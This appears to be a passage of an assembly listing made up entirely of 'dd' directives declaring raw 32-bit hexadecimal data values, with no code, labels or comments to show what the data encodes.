		dd 33503092h, 99343929h, 5BA8311Ch, 0E11C9D82h,	0AB486020h
		dd 0D1ECA81Fh, 0BB80AC78h, 0ED243854h, 0D866129Ch, 2CB98B9Ch
		dd 0BD115400h, 4B49910h, 16893655h, 4E2888A8h, 7060DB61h
		dd 90275B65h, 671E10h, 9DB53A66h, 7351C40Eh, 6B3C2C22h
		dd 0F2886900h, 0A9E140F0h, 79766F27h, 4DC78C00h, 0ADBF5DE3h
		dd 61F8B31Eh, 70F8952Eh, 0EC7590F4h, 673FF892h,	0AD0B735Ch
		dd 803E1CC8h, 0DC438634h, 60B829h, 60669049h, 56484647h
		dd 18D77825h, 604465DCh, 5E3993Ah, 931D18EFh, 588981FEh
		dd 783280A0h, 4C41BF1h,	7ED7DB19h, 0DDA0A488h, 95422F07h
		dd 0C08ABC5Fh, 7C8843C4h, 8C409444h, 0BB5060E2h, 0D1C1B50Eh
		dd 6C6FA974h, 1B1E308Ch, 94478D39h, 65A0D700h, 48B1B7C3h
		dd 337F00BBh, 1EB9D055h, 6F01057Dh, 0BD960B3Dh,	0E8200193h
		dd 0D6E1023Ch, 6E6B5F66h, 10076449h, 3B34915h, 2FD05AA3h
		dd 0C900DFBFh, 0B5320799h, 0AC3DD34Ch, 0D9D516DCh, 0C0CDC708h
		dd 30362822h, 0B4788325h, 1EAF03C0h, 3ABE2F57h,	0D1146103h
		dd 3DE88A02h, 0C500C111h, 943120F5h, 0D53EAB0Eh, 76E0D426h
		dd 8B171494h, 0D50FF020h, 0DB6A0F25h, 803F243h,	7F98C176h
		dd 312674CEh, 0FDC0BCDFh, 0A4304264h, 463244C0h, 21EE2400h
		dd 0C4D28474h, 2A6F02E5h, 0A46833DDh, 7859C0CAh, 648AAB00h
		dd 4851ACE7h, 600027A1h, 89BEBDFFh, 0B893D93Eh,	0A3894C90h
		dd 311F5C30h, 0B23951C0h, 2E2671h, 0CF3D410Fh, 0DA6208Eh
		dd 0F8A66490h, 77DBCA0Eh, 698BFDEEh, 1C108516h,	11618C1Dh
		dd 0A10B03CAh, 0DD431E9Eh, 15C0CC99h, 10785861h, 9D056480h
		dd 39C14B89h, 511044E7h, 3F8FA8D4h, 775CA6D8h, 0EA613D0Dh
		dd 0C1B02830h, 8E559E0Bh, 1F9AEE4h, 2392193Ch, 69269128h
		dd 0EB3200A8h, 4174D29Bh, 0BF7100CFh, 0EEB176D5h, 11008E34h
		dd 21A73C94h, 2CA0A367h, 25407EFFh, 648160B2h, 62899147h
		dd 25C900B0h, 60B8567Bh, 5836151Eh, 6FC2B067h, 6C80993Fh
		dd 1EFEEC35h, 39D13E0Bh, 500FDADh, 0F7FC2DA5h, 6D9E3402h
		dd 6471C9DBh, 1B5A3268h, 0B8C444E9h, 8FB88500h,	896E29F5h
		dd 0E04202FFh, 0DDF97ABAh, 2344DC78h, 3C93DAh, 0F09FD135h
		dd 5312B803h, 0B8CB23D4h, 107A4B00h, 0DC8FDF68h, 13649E8Ch
		dd 32AC04D9h, 0A0341366h, 0D253CFC0h, 8AB00018h, 1AE809F7h
		dd 0DB12D59Dh, 600BFCh,	45A81538h, 0C1A83028h, 0E23C6688h
		dd 0DC165486h, 6132631Fh, 0CAC0C04Ch, 461DBCBDh, 0A140A92Ah
		dd 0C28A38D5h, 54664B16h, 234A1544h, 5FA46B2Ch,	69C04A0Ch
		dd 0ACA41Fh, 7778960Fh,	29761C33h, 6646D907h, 0E3C08BCBh
		dd 251EB399h, 12C6C9h, 698AFC98h, 135589Fh, 3E905B66h
		dd 401DEA50h, 0D5CFCABBh, 199168B3h, 0CB4AE31Fh, 2C40613Fh
		dd 0B1CF132Ah, 0FE00F654h, 29F9EDA0h, 3BBC09E4h, 0D0807F47h
		dd 0F1BA40B4h, 0A9B0F70Eh, 2413F65Ah, 5628C8h, 0ACB5354Fh
		dd 256D20DEh, 57ADCA00h, 0CCDC84D6h, 5940FABBh,	3980FC48h
		dd 863FBD69h, 58B0F2EEh, 5F89005h, 0DC8B3E5Dh, 60334112h
		dd 0D17A9BCh, 0F1AF670Bh, 25E0387Fh, 422CBC75h,	461A3EB2h
		dd 0CF1D0064h, 18B8E395h, 9A0E32A2h, 42BEBA1Ch,	498C0F8Bh
		dd 60325884h, 1140D724h, 5E15160Ah, 7CCC6024h, 0CCD00062h
		dd 2F42FC95h, 19C3D4A2h, 2FF5B04Fh, 44204479h, 0C8D48929h
		dd 0F7E8500h, 98D152A4h, 0C1AD006Eh, 70B475CDh,	503BAF6h
		dd 51C76FF5h, 1C712265h, 0F36AC300h, 0AA96FEE1h, 92C7E42Eh
		dd 1815588Ch, 0FFC67448h, 444EC9DCh, 0FB2E8440h, 0A3223Ch
		dd 0D71A2061h, 91CB5F54h, 0DCD03E02h, 0E00BD103h, 2470E528h
		dd 11BC4CC8h, 16FE0733h, 0B9906C19h, 2492188Fh,	910DA3Bh
		dd 4C604DC9h, 38034AEDh, 3CDFD049h, 4B882231h, 0FBA00912h
		dd 0EEF94C8h, 3ACEA6D6h, 7132C740h, 4112AED7h, 78C738D9h
		dd 846A1A02h, 8CF240F0h, 7427D440h, 97C98011h, 0EC081400h
		dd 58A6D705h, 393E440h,	0F148CFC1h, 2682B881h, 51003C72h
		dd 186B3BE3h, 389A3Ch, 3EF837AAh, 143D0D67h, 51EF1898h
		dd 0E07DE998h, 11D725B3h, 86AB1420h, 2100026h, 3F490554h
		dd 334FDC9Eh, 17F95460h, 12670075h, 0B5C17038h,	0E70C4A77h
		dd 48A6190Ah, 27FEB805h, 0A0209C3Ah, 0A92F9D66h, 326CF00h
		dd 6879C6D6h, 45EC92FEh, 0D898EDE8h, 430E1F7Ch,	40EFCBE0h
		dd 0FE4F309Ch, 2C9C91FCh, 9D506034h, 481DE46Fh,	1BC13212h
		dd 21A02E4Dh, 0C0D23C41h, 176401DCh, 447A61AFh,	82DCAE98h
		dd 0F482EDC8h, 2624C169h, 0C880B4h, 0AA929366h,	47112130h
		dd 37A20B00h, 27AD2E28h, 0FBB000D6h, 0A9C3769Dh, 0FA07FC4Dh
		dd 0FDCC36C0h, 0D4788080h, 2A18C6AEh, 0E4F808D8h, 359D0700h
		dd 6DC83E25h, 0B2FA00F3h, 658B6460h, 5E30DDA3h,	0CB4D40F7h
		dd 68E0C0h, 951DFF51h, 36C101C2h, 0A90CFC75h, 61960E25h
		dd 1B56006Eh, 699FE587h, 13002BE2h, 0BBAB83CEh,	795FFC25h
		dd 8FF13D60h, 900EC38Ch, 7D00EA39h, 0BFDBFF7Fh,	1EF5980h
		dd 3CCB50EEh, 20555779h, 39C79BE5h, 63D108B3h, 2BCCA732h
		dd 19EE03ECh, 8A35FF8Dh, 0F5AB5105h, 0EA806701h, 77113B42h
		dd 0DEFF0004h, 43DA6DA4h, 7158B44h, 88AB2Bh, 60DF5BCFh
		dd 62BC41h, 0DD2D536Ch,	0F703EC0Bh, 0ACB39C3h, 0ED3103D3h
		dd 8C42CD7Fh, 26411118h, 3F49A908h, 0D680FAF2h,	32BB5F1Eh
		dd 0B1EC45BAh, 57338DF2h, 86D29F9h, 0E44B0460h,	0C18C358Dh
		dd 73BB65F0h, 7B5F0039h, 0EF725A62h, 130C44C7h,	29D5789Dh
		dd 0E8A425h, 7A5033E3h,	2FB2EBEEh, 0E072D8FDh, 69AA831Eh
		dd 3080089Ah, 60628084h, 0C19D49A7h, 0F18E90Dh,	0F5A18741h
		dd 4F90E2h, 0D5B877B0h,	749EA786h, 0D08F3700h, 63DBEA5Ch
		dd 776C00AFh, 0A7CB296h, 0BB24D78Eh, 28841CF6h,	2087B6A8h
		dd 5865AC7Fh, 7DEB01C9h, 359CC0EFh, 81404096h, 5200CFF9h
		dd 0B373174h, 9EE9960h,	5FBDF262h, 0E1BE3400h, 0CD34D789h
		dd 0C80861F9h, 0B5D68FA7h, 0BDA1978h, 13B6470Ch, 3A8618Eh
		dd 0BE53FE79h, 0B0D6B1BFh, 0FFDD2E01h, 910EF263h, 38802980h
		dd 0EE365435h, 1FA77607h, 0FE1D8A4h, 402424C4h,	57E56h
		dd 42E79560h, 62773794h, 0DA53DB1Ch, 0DD3BEC00h, 7971F279h
		dd 0B4D21ED3h, 0F8BE8086h, 0E4B829E5h, 4F0C0BECh, 798D0EB5h
		dd 1C300010h, 94923C37h, 7C032499h, 0AC60FF62h,	36C4887Dh
		dd 9B7F3Bh, 0B9783D29h
		dd 0D9FF9825h, 202DBF30h, 40A98E52h, 6E906CEBh,	0A4C58604h
		dd 4D05B0Ah, 0FF29F4Dh,	5E6540A0h, 0B1251D40h, 0EC00AF42h
		dd 318790D5h, 3C268B8h,	2DBEE9E0h, 9BB03DA3h, 9E76AC62h
		dd 281DC401h, 0AB947F42h, 6C50F03Fh, 5DB88D77h,	0FD3FFA07h
		dd 0F5307638h, 614B9DC9h, 5C8CE1DFh, 232C2582h,	1D5D002Ch
		dd 59FDFC9h, 0CA240081h, 45BDACB2h, 5E076E43h, 8C4CC340h
		dd 287B79B0h, 0FFDF0019h, 3012C0B3h, 200E5E2h, 597DFC72h
		dd 7849AF6h, 752E298Eh,	0ED822147h, 4056CDE7h, 54E04090h
		dd 0EED0EB00h, 3A4DC7FEh, 0A86354B2h, 68433052h, 0BFCD9528h
		dd 0A9D34F06h, 7D20DD81h, 381C2039h, 30C35200h,	433163BBh
		dd 5BC718DAh, 4072D1F1h, 5974C1E8h, 0A1B84901h,	0A2ED3BA7h
		dd 2D88D0h, 26A97A84h, 9EEC07AEh, 0D7182890h, 0CB41D4B5h
		dd 68A8490Bh, 5B2A51Dh,	44395D8Dh, 0C84B809Ch, 554D8C70h
		dd 6E2A8324h, 0D682BFB4h, 0FE9046A7h, 0B24284A1h, 0FBFA3500h
		dd 775537D5h, 6407D974h, 5F49B9F4h, 0F62B184Ch,	9ADE00A3h
		dd 23AB6CC0h, 5C0C2D74h, 30B1F403h, 0DBAC034Fh,	30B31777h
		dd 0D54038h, 36E2AF92h,	7EB2F56h, 9D2CB053h, 58F5E607h
		dd 0D117641Eh, 0E44F5C40h, 3CBA3DBh, 0FAC56616h, 4901395Ah
		dd 0C681EB17h, 91805449h, 0FFB1EE1Dh, 0A7001ABAh, 0CF8CB5ADh
		dd 62CD4B0h, 7D541116h,	0F500C991h, 0B4B16A72h,	3E3F1DCh
		dd 0F8716EFBh, 61006FB6h, 0E7055020h, 796C8411h, 0E4421E17h
		dd 0EFC4800Ah, 6DA8EA66h, 0F651AC60h, 1998514h,	17E8F835h
		dd 0FCDAE974h, 0D8007DC6h, 3911476Bh, 60B708E5h, 83C4B15Ch
		dd 150296E1h, 6BCFFEC2h, 4FB8A2E4h, 4B62305h, 2C919103h
		dd 8842A819h, 870EB9h, 977A78E8h, 0C67C727Eh, 5E9FA206h
		dd 612776h, 0EA519301h,	0E959D817h, 6EBD08C0h, 0C0066F6Bh
		dd 20E76361h, 1A0371A8h, 0C3EAC25Ch, 0E92FD819h, 0FE66000Ch
		dd 0D8CF5632h, 41E762D5h, 50F78380h, 1410EED4h,	0DEE3B400h
		dd 663379CFh, 81D86007h, 8516DF64h, 9CF9C62Ah, 79AF9930h
		dd 0EB5332h, 0F0397CC0h, 551B7230h, 60D8A1Ch, 17C77641h
		dd 4980A983h, 0FDC02BB7h, 0F0E0CFAh, 0B26FD0h, 5D139F3Dh
		dd 6673036Ah, 0B9790ACh, 4F676100h, 0C7119F1Ah,	0C2D400AAh
		dd 0B7DBE022h, 0ECF570B5h, 1415C8D7h, 3A987736h, 43D806ECh
		dd 0C13049h, 853FA8C8h,	3B8C1620h, 5F891700h, 0B52B910Fh
		dd 3D9C7850h, 0D800B37Fh, 74BCE940h, 0D8A83853h, 0F9009CB6h
		dd 0E0232DD0h, 0A426B005h, 2487BFCh, 0F99CA1Fh,	0F4846BC0h
		dd 0A7BB4008h, 0F8B030Eh, 0BCB92DC7h, 0BD3E6C20h, 0EFF8D76Fh
		dd 0DADD7B00h, 0DEEC1BCFh, 89A31437h, 0F82298B1h, 86FB4E00h
		dd 115C4B6Dh, 401400FEh, 996BEACAh, 0D0FCD3B3h,	0F926A11Fh
		dd 39E13887h, 90275483h, 0F67A1EE5h, 20DB0F91h,	86035D3h
		dd 0E396F28Eh, 17BB4F06h, 3F69FA82h, 0BF1FF521h, 0CAB4C04Dh
		dd 8BD3631h, 0C52FA8A8h, 54175D05h, 0CC569373h,	846A310Ah
		dd 13C0689Ch, 0C74CD32h, 1E2F70DBh, 0C8C61Ah, 252E2D17h
		dd 73601241h, 8FEA4A28h, 5E49C2DAh, 0DD252762h,	0A2C38001h
		dd 0A091BA01h, 863D0FCCh, 6100F708h, 44D98321h,	0D7B01BEh
		dd 14D33B5Bh, 70A088FEh, 6B8E42D8h, 446CCB22h, 85920FF0h
		dd 40DE87AAh, 0CC1D5BA3h, 1AFE51D4h, 95D1CA00h,	824EEB14h
		dd 2947F01Ch, 80946D27h, 238B9285h, 0F913FE59h,	6C007076h
		dd 0B1774CF1h, 90DCA4C0h, 2420A495h, 6DC0FEAh, 21FD0107h
		dd 9F7E21E9h, 0C1140221h, 0D353011Ch, 0B4542007h, 2EC57C4h
		dd 78AC7C55h, 8829CB1h,	1483AB74h, 0E9785E4Ch, 0EA00BAE8h
		dd 23B8AF2Eh, 1E1A67h, 45DCCDEFh, 51FB4BE9h, 3BF284A8h
		dd 332750A1h, 0BB6182Ch, 37A419h, 0E843B444h, 194EA004h
		dd 0F742939h, 0E76427AEh, 0FAB210C1h, 0C9EC63A2h, 0FCD04CC5h
		dd 7D70006Fh, 57AB0F89h, 0E76FEB02h, 8197ACE1h,	0D773D2Fh
		dd 0EEC8538Bh, 185C0206h, 4154E080h, 0C5280460h, 0F8249FCh
		dd 0E08301DAh, 0B0B64800h, 2A30B54Dh, 0CC60EE7h, 199400D5h
		dd 6377EBB9h, 8000F539h, 5C85032Ah, 513EC6h, 0C5581A5Fh
		dd 0F887DAD7h, 0ECD3B11Eh, 89590103h, 820800D2h, 6494F180h
		dd 0AF03C17Bh, 33198AD7h, 0AD291DEDh, 0E003C004h, 824F2390h
		dd 0E3344D00h, 0A9979CD1h, 28C4E8D0h, 22888C7h,	5BB4C163h
		dd 0A2E0D366h, 68A05CAFh, 59C2EF30h, 0E05874CAh, 38DBA407h
		dd 1C7CF9B2h, 7526B94h,	39607E5h, 3100E430h, 797ADEDCh
		dd 0FF85CFh, 979B2250h,	0BE0CE67Ch, 0D0376303h,	0D341E8A4h
		dd 0DA8800B2h, 0CC033597h, 0FF3922EDh, 0C5040063h, 6473B89Eh
		dd 5B1100E5h, 499A0733h, 0C1D4E065h, 58462895h,	0CE844h
		dd 9BBADAEh, 0D847025Eh, 9879DE0Ch, 0BD0201Bh, 4989B1EDh
		dd 0AF49568Ch, 0D428322h, 0E9EF20B9h, 6E94F42Ah, 0B7A108C0h
		dd 18D7B37Eh, 39C47349h, 5607A541h, 0DB8FB6F5h,	0FA19D666h
		dd 28573079h, 0B1E5D050h, 0E6448401h, 10AEB9A4h, 31D83B20h
		dd 7D11A5CFh, 438450DAh, 0CEF22B95h, 3226AD00h,	0CAA746D6h
		dd 79881873h, 435D61D1h, 480C8071h, 0F9EA3389h,	9C409598h
		dd 0EB010ECAh, 857068B7h, 21BAE507h, 2E024983h,	0D3E0B6CCh
		dd 0A139B115h, 0F9DC0AD9h, 26808050h, 0D7317356h, 8A680C77h
		dd 9641F133h, 70D2CC00h, 0FD2A4F35h, 13CA0014h,	2E053CB3h
		dd 0E5065F55h, 0DA6F46A4h, 3D5A7DA9h, 0EB1EF2BAh, 8B5C0FBBh
		dd 0E5DF1540h, 0F90194DDh, 8CE474DAh, 0BDD4F4ACh, 0F3470AB0h
		dd 8688A351h, 5180D8B6h, 0AD04B578h, 405358E5h,	902EB1C1h
		dd 145D54E0h, 0C0ABDB3Eh, 445E5B80h, 0FD07816Bh, 2FE0B48Dh
		dd 0D8E18Ch, 4373A5ABh,	0DB1BC52Ch, 0AD089350h,	295FFF30h
		dd 393D9CFCh, 560052F6h, 0CC4ACF15h, 891B5D7Bh,	0B68E8C0h
		dd 1AFB16F0h, 29F37901h, 84B9A204h, 28E5C544h, 6B8DDECh
		dd 0D1A1D371h, 45E0291Dh, 0E42E71C1h, 702085B1h, 0E4FA89ABh
		dd 0C08381C4h, 92A7E522h, 128B4638h, 842C5FAFh,	0E9A400E0h
		dd 0FDD0E1DFh, 0E5182556h, 0BC295CFFh, 0B8AB1C68h, 12DC8004h
		dd 152550C2h, 0D7557090h, 0F310F240h, 0D470AB53h, 0D377A480h
		dd 424529A7h, 204792B0h, 0E5B05754h, 5ADE5E12h,	5F158001h
		dd 1044E438h, 19E8433h,	11EFF920h, 21CC1464h, 7DA0080Ch
		dd 9B29D863h, 2D71C845h, 3672009Ch, 7CBEFA12h, 1C907D93h
		dd 8672D942h, 8D839238h, 2103A0EDh, 87FA46F1h, 6FA0DE30h
		dd 50C85F27h, 449DA847h, 6C00A07Ah, 1EC00D38h, 0A0D0B6DFh
		dd 0AE5BA2Ch, 964349D3h, 0AF0A3FCCh, 830515Ah, 4185C46Ch
		dd 1C0CD9B7h, 0E3F79CB9h, 6AD9081h, 20723399h, 4670BD8Ch
		dd 3902F930h, 4894C75Fh, 81298CA0h, 64DF003Ch, 0E44D9054h
		dd 5C9EAE15h, 7CDC226Ch, 195860AFh, 0B77DB156h,	0F770C083h
		dd 0DF970073h, 0A880400Ah, 7201D4CDh, 0D724906Eh, 28415E5Ch
		dd 7D11AA06h, 0F14180DBh, 57C52C0h, 0A9A60718h,	30A54629h
		dd 0B96A9213h, 88520372h, 6FAC04F4h, 19827751h,	5BDA417Eh
		dd 0A0A0D3E4h, 250BAB8h, 15E42B19h, 0D780DB8Ch,	0BD2148B1h
		dd 0AA50EE78h, 0D1504508h, 0B76B814h, 96A0600h,	21E79280h
		dd 0C0FEFCF2h, 0E6EC5CA0h, 0C548B1FBh, 61228E24h, 2B20A37Bh
		dd 0A01DF3C4h, 327854C0h, 8CA806DEh, 5DF2D4C0h,	0B6E9DC61h
		dd 0C02387C2h, 0C46D8D14h
		dd 5C4B009Dh, 0FDB96F45h, 0C6C8D848h, 41B37Dh, 5BB61037h
		dd 39B9256Bh, 0DF0A500h, 0BD184566h, 1DAB16FCh,	0B8E4000Bh
		dd 0D8A38C6Eh, 0C187A91Eh, 5198370Ch, 7BC06DAh,	20D3FA5Fh
		dd 30A7E813h, 6F0EFC20h, 8875097Fh, 1082BF5Dh, 0A842555Fh
		dd 0F31041F7h, 98A044D2h, 937F0364h, 3D97DB16h,	0E50EEBB0h
		dd 0E933470Bh, 4444107Ch, 0C7F807A3h, 0A0F228C2h, 0F5AA8A9Ch
		dd 0C4189728h, 65170A78h, 1430900Ch, 77D4F3C6h,	5F2B1D1Ah
		dd 0A711C7D3h, 7450B293h, 0E852E866h, 5FD712C8h, 20A05020h
		dd 44F80A53h, 24A8A969h, 74803F74h, 978CE581h, 5798A16Dh
		dd 0E915B91Fh, 4048E617h, 70613701h, 0E73065E3h, 0AE152098h
		dd 7AD8F69Dh, 1479EB60h, 0BD7FBD4h, 3C84A59Ch, 89699010h
		dd 0F16CFD00h, 4196D28Eh, 0D81F0048h, 2F3EE48Ch, 0FC175D80h
		dd 1C20888Fh, 4B1961Ah,	743A3019h, 490858Dh, 41A95020h
		dd 0D48987A1h, 6A053181h, 8103308Ah, 867FD5B2h,	0FA30FEEAh
		dd 0B8234CB9h, 2B90DD21h, 82AAB8C5h, 14627F8Ch,	0C4B60C02h
		dd 0AC044866h, 0B5586A2Bh, 0BC40C4C0h, 1A9901E4h, 88DBFCC4h
		dd 0F81185BDh, 0BC4072FFh, 14E58637h, 0B73200ABh, 0D960CC1Ch
		dd 2500176Dh, 0B57CAAC3h, 0C275FFF0h, 0BE481D31h, 62A05540h
		dd 0CF68D200h, 0F56EFEB0h, 90D90747h, 0A08DC80Fh, 0B339EABEh
		dd 3D455E00h, 74C65C17h, 0E0B600A1h, 3FF0522Ah,	0B700737Ch
		dd 0E93D87F8h, 4578AA2h, 0AC882C68h, 9D00FE30h,	0B08E170Fh
		dd 5AC100C5h, 0D645238Bh, 6600FBCDh, 9B93D8CFh,	12EF38h
		dd 80B6D25Dh, 21578C68h, 9D0E5A1Dh, 0BD050917h,	74C3450Bh
		dd 39FFA03Eh, 0C0EB00FBh, 0ECF0BDB8h, 545C74D3h, 0EE5E8048h
		dd 2E044BBEh, 3615A1h, 2FBB4ADh, 1C1601E2h, 78205BE8h
		dd 0F2DE33h, 84B68391h,	0A5FEBD86h, 44E0221Fh, 45E4AD40h
		dd 12210D04h, 90305E2Bh, 823DEBECh, 9A729007h, 0EE80E787h
		dd 94312FA3h, 23AA4008h, 0BA00397Ch, 0D7728707h, 70616B6h
		dd 74FCB8A6h, 0AF9350F8h, 1C921480h, 5FF2B908h,	80A39E1Dh
		dd 9687E5ABh, 92479DDh,	4B08500Fh, 73468458h, 84AF46DFh
		dd 1327F019h, 40DBF67Eh, 6E20C844h, 6F0070B9h, 4C5A0C1Dh
		dd 28948C9h, 0E8FB1BD3h, 0F864788Bh, 0DD4CACB0h, 48412F7h
		dd 44F3B020h, 0D099CA07h, 828DC5B8h, 1482F0D8h,	0FC23D55Ch
		dd 0B09100AEh, 0B68F40E0h, 0C8347D8Eh, 3CA2C17Ah, 0F907F23Eh
		dd 804DDFD7h, 0A4A3C48Ch, 0C77B3013h, 0A088F006h, 46E10FA1h
		dd 0B0A051ECh, 95F54E9Dh, 527E4100h, 0E371AB15h, 0ED84B86Dh
		dd 9007D13h, 967833DAh,	4CDB5DEDh, 0E69DF88Dh, 0FD03BC44h
		dd 659BE1C9h, 364B01FFh, 0A402C478h, 9040A154h,	4E243200h
		dd 1268B518h, 9FFE0Ah, 0AF899B7Bh, 0B81D84E0h, 0C4F8D648h
		dd 1004BFCh, 945D1879h,	1DE57D00h, 0B0E809Bh, 157001E3h
		dd 415169ACh, 6A46F49Dh, 25ECA152h, 10145Bh, 0C38F4704h
		dd 66F5D5A5h, 2AE37600h, 690FE47Eh, 5ECB80Bh, 0B619B8D2h
		dd 3A188089h, 58035CA1h, 41442285h, 0F8C08573h,	2842B7h
		dd 8AF1C536h, 0EFB86AC8h, 7533171Dh, 17C8954h, 0D22341E7h
		dd 9020E85Fh, 36C80185h, 4021FED9h, 49F0F870h, 8A8F7B0Ah
		dd 2740EC33h, 7F25E32Eh, 8E5C99B5h, 608058A5h, 0A6495542h
		dd 0ECE99D00h, 3914B3B0h, 0D2441C9Bh, 0F348C485h, 0EB3C8C52h
		dd 187DAA2Ch, 0EA336840h, 85370A5Ah, 47B83869h,	81E926B6h
		dd 244C490h, 0D4BC90A1h, 0AF3D9480h, 8CC01926h,	2C31F630h
		dd 6D3FD878h, 0C1488047h, 67449A2h, 4FF20584h, 763067h
		dd 259BC3A8h, 0AE187E6Dh, 0B949CD80h, 60AA78BDh, 327E947h
		dd 5500B17Fh, 481E9F20h, 28B89828h, 38BCB08h, 0A2F80D5Bh
		dd 87981C50h, 0D017DDAEh, 0C030C484h, 3A9E8FC5h, 19247A66h
		dd 9CC04FC8h, 0A8C1B5EBh, 19AF0438h, 0A611E974h, 6E5C6850h
		dd 0FD3F006Ch, 0CE091194h, 38004AFBh, 0CDBA5087h, 93609A59h
		dd 0A5AE1FE8h, 0DF6E4810h, 9C0CBF85h, 0D930CFE9h, 6F95060Bh
		dd 0FAA4B8A9h, 99FFh, 91EFCC6Dh, 41F6C5B8h, 0E5C9990Bh
		dd 5CE0079Dh, 7D58C20Eh, 0C2D4A0B6h, 2CA71Ch, 656625D5h
		dd 314B62ECh, 3F51F71Ch, 99D08B25h, 7844DFD0h, 87D8CCh
		dd 0DA0D9C9Dh, 0CC58F27Ch, 974D9000h, 37B7E165h, 0A85F05E4h
		dd 8855D723h, 0CE09AD08h, 224C2B51h, 23F7C724h,	5970A989h
		dd 2900337Ch, 61FA5C69h, 582AD16Bh, 0AC41A19Dh,	0E0DE17E8h
		dd 19A5002Dh, 42A7C1E7h, 75CFC65h, 71488D6Ch, 1B00B473h
		dd 58EDBF64h, 0FC001FBEh, 92E8A7E6h, 0E8EB43B5h, 0A07200FAh
		dd 0BBD72B5Eh, 5954AE4Ch, 0DF00CC5Ch, 0C4F6511Dh, 50439E19h
		dd 16D108D6h, 225CF2B6h, 5044FC4Ch, 0CAAFB500h,	28B722CFh
		dd 1EE524C0h, 84501000h, 0FA41D369h, 4888B8A7h,	7000D484h
		dd 72FBDC9Bh, 2116DB4h,	93660EBCh, 68C42CFFh, 6528797Dh
		dd 8022B478h, 9E4670AEh, 2C70A634h, 2624CAE4h, 0C460984h
		dd 4C0060E4h, 6C769F55h, 31F9A44h, 9293EF06h, 6E90073Eh
		dd 5F38AF20h, 109F2631h, 0E5A9414Eh, 5ECCA856h,	58B0775Dh
		dd 7C800C89h, 0B61264AFh, 6C920C09h, 608B8088h,	1BF9A24h
		dd 0AF236BE3h, 38B19DD0h, 2EBE8000h, 81EE6733h,	343230h
		dd 37078E5Bh, 0F39570Fh, 0B6D0FE0Dh, 103992CDh,	0B432D3Ch
		dd 9F2ECA1Fh, 0D6241CC0h, 0FCFD07h, 715897D9h, 0E609336Ah
		dd 5D02889Ch, 667FE5C8h, 8D0F0908h, 8C944F2h, 24D822FCh
		dd 0DC00DEADh, 6F2BDBCCh, 0DF7B00CAh, 917EB293h, 2017D378h
		dd 0E400F28Fh, 0D07F545h, 70A7165Dh, 46B800D9h,	0DABF6A7Bh
		dd 0A5E5AE09h, 21ECE4DCh, 0D9093250h, 420464EEh, 89007C36h
		dd 4387A73Ch, 2F2ACB6Fh, 75FC4209h, 36032100h, 8C57F0h
		dd 2689925Bh, 0A6AD6C4Bh, 6F264674h, 5D441C06h,	0B9895249h
		dd 71029100h, 0E00B577h, 0B36ABEF6h, 31DCA7E0h,	0E41A276Ch
		dd 7E88487Ch, 0DB2CA8F8h, 793AD647h, 3C101A00h,	0AE6FF71Fh
		dd 4EF49C5Bh, 740C508h,	9C2EF23Bh, 5B0AC00h, 0FD4A7Bh
		dd 80D4FF48h, 0F009117h, 0F2F51942h, 26D0A48Ch,	8FA0F86Ch
		dd 44E084E5h, 71432515h, 8AB3D804h, 40802B20h, 29275D31h
		dd 2E840DBh, 6B44475Bh,	0EC027C42h, 0E927075Dh,	8CB6F540h
		dd 0C5AC98C5h, 0FA2291h, 45DC8B60h, 5F786541h, 954A41Fh
		dd 9C89B94h, 98E5905Dh,	7A2F25Ch, 0B943FAF5h, 0B0B3E0B5h
		dd 350A6E52h, 0E815DAB1h, 71472842h, 82F3000Ch,	4135FE39h
		dd 5C4EC300h, 6EBB8A9Bh, 0B643EA38h, 6D490908h,	6307C899h
		dd 643C9608h, 76B0C3h, 57295F84h, 83527C08h, 0B0EF8F24h
		dd 0B800424h, 285092DBh, 0E5290FB2h, 5A8538F7h,	30D422B0h
		dd 0E0034844h, 8DA8B102h, 0EACCF854h, 0B2E80FF9h, 2E82E523h
		dd 0C84EC518h, 0C7A1100h, 0F3440AE6h, 20F39AEh,	5864B080h
		dd 1A8E619Bh, 5186C705h, 0C91E25Fh, 2210EBC2h, 8D042FFCh
		dd 0A797E513h, 0F90330E2h, 0AAF33672h, 0C8A8EFB1h, 865EF07Ch
		dd 80732C20h, 0A3DE1223h, 0C73088FCh, 66D44200h, 9F6457CCh
		dd 0F51400CBh, 0E5BBD176h, 0D813BE0Ch, 3005A118h, 4441EEDDh
		dd 51F20555h, 62933C38h, 0C851E53Ch, 0A6D6BC00h, 0E0F3672Dh
		dd 20B90241h, 8244F845h, 887150B2h, 29E7BD00h, 0FA455C86h
		dd 3A0E00ABh, 9A6A4AA4h, 0F501A138h, 0B1084FD2h, 0B4481BDCh
		dd 0DB0F88D5h, 0D3069D00h
		dd 0F5935B76h, 50707602h, 1F56EFC1h, 49B9A42Bh,	980089ADh
		dd 0B3A887FAh, 0F2D2B0A0h, 0B860D0B6h, 5B1BFE4h, 0ACD1F4B5h
		dd 4D40086h, 71CDCC11h,	89D2F800h, 813649E3h, 1B8B1FCh
		dd 0D88F7FD5h, 211C47Ch, 7BCFAF3Eh, 6027C700h, 8D5BB83Ah
		dd 8249518Bh, 40E0B992h, 9EFD8178h, 852E7668h, 9B69C411h
		dd 0E6ECF938h, 7CF83821h, 0BCBA5048h, 4404B0C4h, 1E09B9B7h
		dd 11BC75Bh, 91064670h,	0FD41D986h, 0BF00A95Ah,	6337CD86h
		dd 2999031h, 5BC261ADh,	1C84EAD3h, 0C88563Dh, 0ACE002Eh
		dd 5B3FE4EAh, 19033467h, 12741DAFh, 1A41214Ch, 229C5D10h
		dd 6CEB4A03h, 0A06BE0C3h, 49A5E338h, 3457781Dh,	57F21108h
		dd 8DB65661h, 0D18BC83Dh, 445E0448h, 0A6B4961Eh, 492BA0Eh
		dd 94E2CC55h, 49763F00h, 9529565Ch, 9FDC0502h, 44FD430Eh
		dd 8D220058h, 0A97E4DBBh, 0DF26835Dh, 43801018h, 0E2C11272h
		dd 4A584BAEh, 5831B4h, 0C3B367AAh, 84049E49h, 4B22430Ah
		dd 0B8063084h, 26281CEAh, 41606446h, 0DCCF588Dh, 472FCA71h
		dd 0C0601022h, 96E8009Ah, 46121767h, 0A97F055Dh, 5474EF0Fh
		dd 223620D7h, 4C3501E5h, 0D5803088h, 0F15F67C3h, 80BA953Ah
		dd 0AF4CE74Fh, 941BABh,	0B2D256F6h, 7CFB9906h, 54907883h
		dd 38FAB0ACh, 8C008EE8h, 1B20115Ch, 0EE52EB83h,	0F0B67EE4h
		dd 0E4C6A9E0h, 986F001Ch, 0B77F398Dh, 8318C387h, 6539E8BBh
		dd 0AC0085BFh, 441340DFh, 3A801D26h, 7D9583C4h,	201456D0h
